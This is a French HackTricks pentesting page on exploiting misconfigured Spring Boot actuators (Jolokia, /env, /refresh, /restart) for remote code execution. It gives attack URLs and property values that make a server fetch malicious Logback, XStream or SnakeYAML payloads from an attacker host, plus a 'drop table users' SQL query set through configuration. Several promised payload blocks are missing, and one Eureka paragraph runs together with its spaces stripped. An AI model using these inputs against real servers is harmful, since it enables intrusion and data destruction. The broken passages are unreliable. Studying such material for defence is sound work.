* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Le framework Spring Boot comprend un certain nombre de fonctionnalités appelées actuateurs pour vous aider à surveiller et à gérer votre application web lorsque vous la poussez en production. Destinés à être utilisés pour l'audit, la santé et la collecte de métriques, ils peuvent également ouvrir une porte cachée vers votre serveur en cas de mauvaise configuration.
Lorsqu'une application Spring Boot est en cours d'exécution, elle enregistre automatiquement plusieurs points de terminaison (tels que '/health', '/trace', '/beans', '/env' etc) dans le processus de routage. Pour Spring Boot 1 - 1.4, ils sont accessibles sans authentification, ce qui pose des problèmes importants en matière de sécurité. À partir de la version Spring 1.5, tous les points de terminaison à l'exception de '/health' et '/info' sont considérés comme sensibles et sécurisés par défaut, mais cette sécurité est souvent désactivée par les développeurs d'applications.
La plupart des actuateurs ne prennent en charge que les requêtes GET et révèlent simplement des données de configuration sensibles, mais plusieurs d'entre eux sont particulièrement intéressants pour les chasseurs de shell :
Si la bibliothèque Jolokia est dans le chemin de classe de l'application cible, elle est automatiquement exposée par Spring Boot sous le point de terminaison '/jolokia' de l'actuateur. Jolokia permet l'accès HTTP à tous les MBeans enregistrés et est conçu pour effectuer les mêmes opérations que celles que vous pouvez effectuer avec JMX. Il est possible de lister toutes les actions MBeans disponibles en utilisant l'URL :
L'action '**reloadByURL**', fournie par la bibliothèque Logback, nous permet de recharger la configuration de journalisation à partir d'une URL externe. Elle peut être déclenchée simplement en naviguant vers : [**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
1. La configuration a un format XML, et bien sûr, Logback l'analyse avec les entités externes activées, ce qui le rend vulnérable à l'XXE aveugle.
2. La configuration Logback a la fonctionnalité ['Obtaining variables from JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). Dans le fichier XML, nous pouvons inclure une balise comme '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' et l'attribut name sera transmis à la méthode DirContext.lookup(). Si nous pouvons fournir un nom arbitraire dans la fonction .lookup(), nous n'avons même pas besoin d'XXE ou de HeapDump car cela nous donne une **exécution de code à distance complète**.
1. Un attaquant demande l'URL mentionnée ci-dessus pour exécuter la fonction 'reloadByURL', fournie par la classe 'qos.logback.classic.jmx.JMXConfigurator'.
2. La fonction 'reloadByURL' télécharge une nouvelle configuration depuis [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) et l'analyse en tant que configuration Logback. Cette configuration malveillante devrait avoir le contenu suivant :
3\. Lorsque ce fichier est analysé sur le serveur vulnérable, il crée une connexion vers le serveur LDAP contrôlé par l'attaquant spécifié dans la valeur du paramètre "env-entry-name", ce qui conduit à une résolution JNDI. Le serveur LDAP malveillant peut renvoyer un objet de type 'Référence' pour déclencher une **exécution du bytecode fourni** sur l'application cible. Les attaques JNDI sont bien expliquées dans ce [document de recherche de MicroFocus](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). La [nouvelle technique d'exploitation JNDI](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (décrite précédemment dans notre blog) fonctionne également ici, car Tomcat est le serveur d'application par défaut dans le framework Spring Boot.
Si les bibliothèques Spring Cloud sont dans le classpath, le point de terminaison **'/env'** vous permet de modifier les propriétés environnementales de Spring. Tous les beans annotés avec '**@ConfigurationProperties**' peuvent être modifiés et réassociés. De nombreuses propriétés que nous pouvons contrôler, mais pas toutes, sont répertoriées sur le point de terminaison '/configprops' de l'actuateur. En fait, il y en a des tonnes, mais il n'est absolument pas clair de savoir ce que nous devons modifier pour atteindre quelque chose. Après avoir passé quelques jours à jouer avec eux, nous avons trouvé ceci:
Cette propriété modifie l'URL de service Eureka vers une valeur arbitraire. Eureka Server est normalement utilisé comme serveur de découverte, et presque toutes les applications Spring Cloud s'y enregistrent et y envoient des mises à jour d'état. Si vous avez la chance d'avoir Eureka-Client <1.8.7dansleclasspathcible(ilestnormalementinclusdansSpringCloudNetflix),vouspouvezexploiterlavulnérabilitédedésérialisationXStreamenelle.Toutcequevousavezàfaireestdedéfinirlapropriété'eureka.client.serviceUrl.defaultZone'survotreURLdeserveur([http://artsploit.com/n/xstream](http://artsploit.com/n/xstream))via'/env'etensuiteappelerl'endpoint'/refresh'.Aprèscela,votreserveurdevraitservirlachargeutileXStreamaveclecontenusuivant:
Ce payload XStream est une version légèrement modifiée de la chaîne de gadgets ImageIO JDK-only de la recherche [Marshalsec](https://github.com/mbechler/marshalsec). La seule différence ici est l'utilisation de **LinkedHashSet** pour déclencher la méthode 'jdk.nashorn.internal.objects.NativeString.hashCode()'. Le payload original utilise java.lang.Map pour obtenir le même comportement, mais la configuration XStream d'Eureka a un [convertisseur personnalisé pour les maps](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) qui le rend inutilisable. Le payload ci-dessus n'utilise pas de maps du tout et peut être utilisé pour obtenir une exécution de code à distance sans contraintes supplémentaires.
En utilisant Spring Actuators, vous pouvez en fait exploiter cette vulnérabilité même si vous n'avez pas accès à un serveur Eureka interne ; vous avez seulement besoin d'un point de terminaison "/env" disponible.
**spring.datasource.tomcat.validationQuery=drop+table+users** - vous permet de spécifier n'importe quelle requête SQL, qui sera automatiquement exécutée contre la base de données actuelle. Cela peut être n'importe quelle instruction, y compris insert, update ou delete.
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - vous permet de modifier la chaîne de connexion JDBC actuelle.
Le dernier est intéressant, mais le problème est que lorsque l'application exécutant la connexion à la base de données est déjà établie, la simple mise à jour de la chaîne JDBC n'a aucun effet. Heureusement, il existe une autre propriété qui peut nous aider dans ce cas :
Le tour que nous pouvons utiliser ici est d'augmenter le nombre de connexions simultanées à la base de données. Ainsi, nous pouvons changer la chaîne de connexion JDBC, augmenter le nombre de connexions, et après cela envoyer de nombreuses requêtes à l'application pour simuler une charge importante. Sous la charge, l'application créera une nouvelle connexion à la base de données avec la chaîne JDBC malveillante mise à jour. J'ai testé cette technique localement contre Mysql et cela fonctionne parfaitement.
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - url de configuration de nuage de printemps (n'a aucun effet après le démarrage de l'application, seules les valeurs initiales sont utilisées).
Ces propriétés n'ont aucun effet à moins que le point de terminaison '/restart' ne soit appelé. Ce point de terminaison redémarre tous les ApplicationContext, mais il est désactivé par défaut.
**N.B.** Dans Spring Boot 2x, le format de requête pour modifier les propriétés via le point de terminaison '/env' est légèrement différent (il utilise le format json à la place), mais l'idée est la même.
Si vous voulez tester cette vulnérabilité localement, j'ai créé une [simple application Spring Boot sur ma page Github](https://github.com/artsploit/actuator-testbed). Tous les payloads devraient fonctionner là-bas, sauf les paramètres de base de données (à moins que vous ne les configuriez).
Une liste complète des actuateurs par défaut peut être trouvée ici : [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Gardez à l'esprit que les développeurs d'applications peuvent créer leurs propres points de terminaison en utilisant l'annotation @Endpoint.
Cette requête modifie la propriété 'spring.cloud.bootstrap.location', qui est utilisée pour charger une configuration externe et la parser en format YAML. Pour que cela se produise, nous devons également appeler l'endpoint '/refresh'.
Lorsque la configuration YAML est récupérée depuis le serveur distant, elle est analysée avec la bibliothèque SnakeYAML, qui est également susceptible d'être attaquée par désérialisation. La charge utile (yaml-payload.yml) peut être générée en utilisant la recherche Marshalsec mentionnée ci-dessus :
La désérialisation de ce fichier déclenche l'exécution du constructeur de ScriptEngineManager avec le URLClassLoader fourni. En bref, cela conduit à la méthode 'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)', qui tente de trouver toutes les implémentations de l'interface 'ScriptEngineFactory' dans toutes les bibliothèques du classpath. Comme nous pouvons ajouter une nouvelle bibliothèque via URLClassLoader, nous pouvons servir une nouvelle 'ScriptEngineFactory' avec le bytecode malveillant à l'intérieur. Pour ce faire, nous devons créer une archive jar avec les fichiers obligatoires suivants: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) doit contenir le bytecode réel, avec la charge utile malveillante dans le constructeur.
Le fichier [yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) devrait être juste un fichier texte contenant une référence complète à 'artsploit.AwesomeScriptEngineFactory', afin que le ServiceLoader sache où trouver la classe: **artsploit.AwesomeScriptEngineFactory**. Encore une fois, cette technique d'exploitation nécessite que Spring Cloud soit dans le classpath, mais en comparaison avec la charge utile XStream d'Eureka, elle fonctionne même dans la dernière version. Vous pouvez trouver la charge utile complète dans mon projet github: [yaml-payload](https://github.com/artsploit/yaml-payload).
Consultez cette page pour savoir comment exploiter la combinaison /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).